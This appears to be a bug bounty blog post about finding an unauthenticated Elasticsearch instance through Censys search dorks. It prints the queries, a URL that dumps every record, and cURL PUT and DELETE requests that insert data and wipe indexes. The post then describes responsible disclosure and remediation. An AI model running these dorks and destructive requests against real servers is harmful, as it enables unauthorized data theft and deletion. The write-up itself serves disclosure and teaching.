During a bug bounty reconnaissance using Censys search, I discovered an exposed Elasticsearch instance belonging to a live program with no authentication enabled. This misconfiguration could allow attackers to access sensitive data, modify records, or even take control of the database. In this blog, I will walk through how I used Censys dorking, ethical hacking techniques, and proof-of-concept exploitation to validate the vulnerability and report it under the bug bounty program.

None

Step-by-Step Process: Finding an Unsecured Elasticsearch Instance Using Censys

Now, let's dive into the reconnaissance process — because what's more fun than discovering exposed databases on the internet?

Step 1: Finding the Subdomains with Censys

The first step was to find the subdomains associated with the target using Censys search. I ran the following query:

services.tls.certificates.leaf_data.names: anywebsite.com

This revealed a list of subdomains, and things started getting interesting.

Step 2: Identifying Open Elasticsearch Instances

None

After filtering through Censys services, I noticed that the target had two publicly accessible Elasticsearch instance — just sitting there, waiting to be explored. Here's the refined Censys query I used:

(services.tls.certificates.leaf_data.names: anywebsite.com) and services.service_name=`ELASTICSEARCH`

I mean, if you're going to leave your Elasticsearch instance wide open, at least try to hide it better. Naturally, I did what any ethical hacker would do — I checked how bad the situation was.

Step 3: Testing for Exploitation

I followed the exploitation techniques from my previous blog (Exploiting Elasticsearch Instances), and here's what I found:

Reading Data — Data Dump Like a Pro An attacker could dump all stored data by accessing:

http://redacted.com:9200/_search?pretty=true

This would return every piece of information stored in the database — because who needs authentication, right?

Writing Data — Creating Entries Like an Admin

An attacker could insert new records using a simple cURL request:

curl -i -s -k  -X $'PUT' \
    -H $'Host: [ip]:[port]' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.9999.0 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: none' -H $'Sec-Fetch-User: ?1' \
    $'https://[ip]:[port]/[name]'
None

For demonstration, I created a new entry named test — because if you're going to break something, you might as well make it obvious.

Deleting Data — Pressing the Big Red Button

An attacker could also wipe out the entire database with a single request:

curl -i -s -k  -X $'DELETE' \
    -H $'Host: [ip]:[port]' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.9999.0 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: none' -H $'Sec-Fetch-User: ?1' \
    $'https://[ip]:[port]/[NAME]'

Yes, you read that right — one command, and poof! Your precious data is gone.

Impact: Why This is a Huge Problem

Leaving Elasticsearch exposed without authentication is like leaving your house door wide open with a "Steal Whatever You Want" sign outside. Here's why this matters:

Data Leakage — Confidential customer information, logs, and sensitive records are exposed.

Data Manipulation — Attackers can modify, inject, or alter records, causing chaos.

Full Database Wipeout — A malicious actor could delete everything, leading to massive financial and operational damage.

Responsible Disclosure & Quick Remediation

As soon as I confirmed the vulnerability, I did what any ethical hacker (and not a black hat) would do — I immediately reported the issue to the affected organization.

Surprisingly, they didn't ignore it or leave me on "seen" like some companies do. Instead, they readily acknowledged the report and patched the exposed Elasticsearch instance without any delays.

This was a refreshing experience — because let's be honest, not every company takes security misconfigurations this seriously. Many would rather pretend nothing happened until a ransomware gang teaches them a lesson. But in this case, the response was swift, and the vulnerability was fixed before any real damage could occur.

Conclusion:

If your Elasticsearch database is publicly accessible without authentication, you're basically handing over your data on a silver platter. Implement proper access controls, enable authentication, and monitor unauthorized access — or prepare for some very unwanted surprises.

None